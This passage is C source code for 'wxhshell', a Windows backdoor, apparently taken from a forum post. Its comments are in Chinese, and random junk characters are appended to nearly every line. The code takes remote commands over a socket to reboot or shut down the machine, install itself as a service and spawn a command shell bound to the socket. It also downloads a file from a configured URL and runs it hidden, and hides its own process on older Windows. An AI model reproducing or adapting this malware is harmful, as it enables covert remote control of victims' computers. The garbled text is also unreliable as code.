    switch(cmd[0]) { 1Rh&04O>VL  
  t JP(eaqZ  
  // 帮助 y (A"g3^=  
  case '?': { bOdD:=f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LmE-&  
    break; A5b}G  
  } 8TZe=sD~cr  
  // 安装 g d-fJ._1  
  case 'i': { x@=7M'vr%  
    if(Install()) ~cjvo?)&e;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DI\sq8J^  
    else Fwr,e;Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P$bo8*  
    break; EbQ}w"{  
    } 5tL6R3  
  // 卸载 *QX$Mo^E  
  case 'r': { 8 _J:Yg  
    if(Uninstall()) JY,+eD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4/4IZfznX  
    else ;z68`P-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =3'wHl  
    break; _u0dt) $  
    } h| Ih4  
  // 显示 wxhshell 所在路径 Sa0\9 3oa  
  case 'p': { 0Ju{6x(|  
    char svExeFile[MAX_PATH]; >Vvc55z  
    strcpy(svExeFile,"\n\r"); Evc 9k  
      strcat(svExeFile,ExeFile); &}r932  
        send(wsh,svExeFile,strlen(svExeFile),0); KB^IGF  
    break; 5eYCnc9  
    } 1^COR+>L  
  // 重启 ?=l(29tH  
  case 'b': { So:89T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !v-(O"a  
    if(Boot(REBOOT)) #?9o A4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj!T7f*-GX  
    else { '&Ku Ba  
    closesocket(wsh); (:1 j-  
    ExitThread(0); Vk"QcW  
    } = 4If7  
    break; [,dsV d  
    } :MVD83?4  
  // 关机 a'Z"Yz^Eo  
  case 'd': { ktCh*R[`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~VOmMw4HV  
    if(Boot(SHUTDOWN)) G4i&:0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}]Wbk4:  
    else { )JPcSy*  
    closesocket(wsh); Wg[`H=)Q  
    ExitThread(0); t`?FSV  
    } Q7C'O @  
    break; &Wba2fD  
    } D|xSO~M5  
  // 获取shell pnD#RvmW2e  
  case 's': { .f}I$ "2  
    CmdShell(wsh); 'BC-'Ot  
    closesocket(wsh); Y9WH%  
    ExitThread(0); Gi-tf<  
    break; ?}y7S]B FI  
  } /mb| %U]~  
  // 退出 B 5?(gb"  
  case 'x': { ]OVjq ?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); by {~gu  
    CloseIt(wsh); \rpu=*gt  
    break; $j:0*Z=>  
    } JwO+Dd  
  // 离开 m*'#`vIbb  
  case 'q': { %63<Iz"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [\!S-:  
    closesocket(wsh); {E9Y)Z9  
    WSACleanup(); |89`O^   
    exit(1); u!Z&c7kPI  
    break; 7 MfpZgC  
        } u$0>K,f  
  } e1H.2n{y^  
  } 1G\ugLm  
R\<^A~(Gl  
  // 提示信息 k: {$M yK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M! s&<Bi  
} =$m|M m[a  
  } I=1tf;Bsi  
AOTI&v  
  return; Ei#"r\q j_  
} 8Hhe&B  
e0D;]  
// shell模块句柄 NmeTp?)m  
int CmdShell(SOCKET sock) A >x{\  
{ }, ]W/  
STARTUPINFO si; W4N$]D=  
ZeroMemory(&si,sizeof(si)); 8]0^OSS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rO-Tr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }p#S;JZRu+  
PROCESS_INFORMATION ProcessInfo; Hi ?],5,/  
char cmdline[]="cmd"; E_h9y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $, =n  
  return 0; '?-GZ0oM  
} Jzr(A^vwo  
U $+rlw}  
// 自身启动模式 !_]WUQvV?  
int StartFromService(void) O9opX\9  
{ _h5@3>b3r  
typedef struct 5!AzEB  
{ 3&}wfK]X  
  DWORD ExitStatus; /_LUys/0  
  DWORD PebBaseAddress; ~2pctqMA  
  DWORD AffinityMask; >iq^Ts  
  DWORD BasePriority; RY*6TYX!  
  ULONG UniqueProcessId; tUt l>>6Iu  
  ULONG InheritedFromUniqueProcessId; u~G,=n  
}   PROCESS_BASIC_INFORMATION; ZJ!/49c*>  
^UJO(   
PROCNTQSIP NtQueryInformationProcess;  Jl}$) '  
'j}%ec1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zRB1V99k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q<"zpwHR  
f$P pFSY4  
  HANDLE             hProcess; g6N{Z e Wg  
  PROCESS_BASIC_INFORMATION pbi; w7O(I"  
D[U5SS!)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /P,J);Y  
  if(NULL == hInst ) return 0; ?bbguwo~F  
IH{g-#U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dLv\H&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ecr pv+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qgu.c`GmW  
75{QBlf<  
  if (!NtQueryInformationProcess) return 0; W$,c]/u|  
[/#;u*n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z7J#1q~:yY  
  if(!hProcess) return 0; [*,`a]z-Q  
)'nGuL-w!i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b-ZvEDCR  
/ VJ[1o^  
  CloseHandle(hProcess); \5J/ ?  
wJ+"JQY.J+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TVKuvKH8U  
if(hProcess==NULL) return 0; 5 J 0  
[ h%ci3  
HMODULE hMod; D7 .R NXo  
char procName[255]; @v|_APy#  
unsigned long cbNeeded; YT#" HYO  
VN*^pAzlF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #S QFI;zj  
T#T!a0  
  CloseHandle(hProcess); TC ^EyjD  
qdOaibH_  
if(strstr(procName,"services")) return 1; // 以服务启动 Nmp1[/{J  
qdzc"-gH`  
  return 0; // 注册表启动 1J^{h5?lU  
} >?I[dYzut  
C7,Ol0`v  
// 主模块 /f_lWr:9l  
int StartWxhshell(LPSTR lpCmdLine) kIM* K%L}  
{ 7IjFSN>  
  SOCKET wsl; Dk8" H >*  
BOOL val=TRUE; .|cQ0:B[  
  int port=0; 7+@:wX\  
  struct sockaddr_in door; l9#vr  
~^G k7  
  if(wscfg.ws_autoins) Install(); @TsOc0?-  
}F**!%4d  
port=atoi(lpCmdLine); *YYm;J'  
Q-(twh  
if(port<=0) port=wscfg.ws_port; Pr/K5aJeg  
-cEjB%Neo  
  WSADATA data; $--W,ov5j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4R@3jGXb8q  
`2 Vc*R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }7k+tJ<   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fn$EP:>  
  door.sin_family = AF_INET; +.5 /4?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #O qfyY!  
  door.sin_port = htons(port); G[)QGZ}8b  
HLa|yc B%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,M5J~Ga  
closesocket(wsl); 1+v)#Wj  
return 1; ;L++H5Kz6  
} Kp8!^os  
;E(%s=i  
  if(listen(wsl,2) == INVALID_SOCKET) { vY:A7yGW  
closesocket(wsl); h9RG?r1  
return 1; vfm |?\  
} oj[Wzeg%  
  Wxhshell(wsl); a";(C ,:0  
  WSACleanup(); ma vc$!y  
A)&OR]0[  
return 0; [{- Oy#T<  
}n oI2.-#  
} U C3?XoT\  
WTZP}p1  
// 以NT服务方式启动 u-yQP@^H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %jim] ]<S[  
{ Fz~-m#Ts  
DWORD   status = 0; R"VmN2  
  DWORD   specificError = 0xfffffff; _6(QbY'JV`  
*EvnN:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +QqYf1@F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p.n+m[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {w1sv=$+  
  serviceStatus.dwWin32ExitCode     = 0; j[v<xo  
  serviceStatus.dwServiceSpecificExitCode = 0; Zw` Xg@;xP  
  serviceStatus.dwCheckPoint       = 0; fXEF]C  
  serviceStatus.dwWaitHint       = 0; AMGb6enl  
]8<;,}#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $-EbJ  
  if (hServiceStatusHandle==0) return; _T7tq  
wZ5 + H%x  
status = GetLastError(); |#Z:v1]"  
  if (status!=NO_ERROR) Ir}r98lz  
{ ,?P@ :S<8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %70sS].@  
    serviceStatus.dwCheckPoint       = 0; )E'iC  
    serviceStatus.dwWaitHint       = 0; g,@0 ;uVq  
    serviceStatus.dwWin32ExitCode     = status; +x\b- '  
    serviceStatus.dwServiceSpecificExitCode = specificError; Re0ma%~LP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ECWn/4Aws  
    return; kTL{?-  
  } :)SLi  
bO^#RVH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5VDqx@(  
  serviceStatus.dwCheckPoint       = 0; pc J5UJY  
  serviceStatus.dwWaitHint       = 0; ! jm>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oDXUa5x  
} }PTYNidlR  
RHZ5f0b4L  
// 处理NT服务事件,比如:启动、停止 ri<E[8\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1D sgU6"  
{ 7loIX Qw  
switch(fdwControl) N=YRYU o  
{ s+8 v7ZJ  
case SERVICE_CONTROL_STOP: q["CT&0  
  serviceStatus.dwWin32ExitCode = 0; $*tq$DZ4&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %qfql  
  serviceStatus.dwCheckPoint   = 0; mx y>  
  serviceStatus.dwWaitHint     = 0; zB kS1qMn  
  { Q-k{Lqa-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7y1J69IK  
  } mzLDZ# =b  
  return; I9-vV>:z  
case SERVICE_CONTROL_PAUSE: }SR}ET&z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u[$ \ az7  
  break; '5\7>2fI  
case SERVICE_CONTROL_CONTINUE: Xt %;]1n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e "5S ;  
  break; \BOZhXfl'  
case SERVICE_CONTROL_INTERROGATE: '8R5?9"  
  break; wuSp+?{5k  
}; u=JI 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RcIGIt  
} FIG3P))  
s-!Bpr16o0  
// 标准应用程序主函数 gJ6 C&8tl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F:"<4hiA"  
{ a;jXMR  
2It$ bz  
// 获取操作系统版本 _h", ,"p#o  
OsIsNt=GetOsVer(); g} 7FR({b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yJkERiJV  
RsIR}.*  
  // 从命令行安装 <2Lcy&w_M  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bvj-LT=)  
{%.FIw k  
  // 下载执行文件 f0]8/)  
if(wscfg.ws_downexe) { c%9wI*l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o7' cC?u  
  WinExec(wscfg.ws_filenam,SW_HIDE); @.T(\Dq^  
} `OO=^.-u  
@5+ JXD  
if(!OsIsNt) { &(UVS0=Dp,  
// 如果时win9x,隐藏进程并且设置为注册表启动 K<'L7>s3lA  
HideProc(); |-GmWSK_  
StartWxhshell(lpCmdLine); mZDL=p  
} 6Y<'Lyg/  
else _R-[*ucq  
  if(StartFromService()) L5=Tj4`  
  // 以服务方式启动 {KYbsD  
  StartServiceCtrlDispatcher(DispatchTable); m`l3@ Z  
else ,y@`wq>O  
  // 普通方式启动 >Ng7q?h   
  StartWxhshell(lpCmdLine); ^_BHgbS%;  
JfS:K'  
return 0; )y&}c7xW  
}
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只看该作者 1 发表于: 2006-10-10
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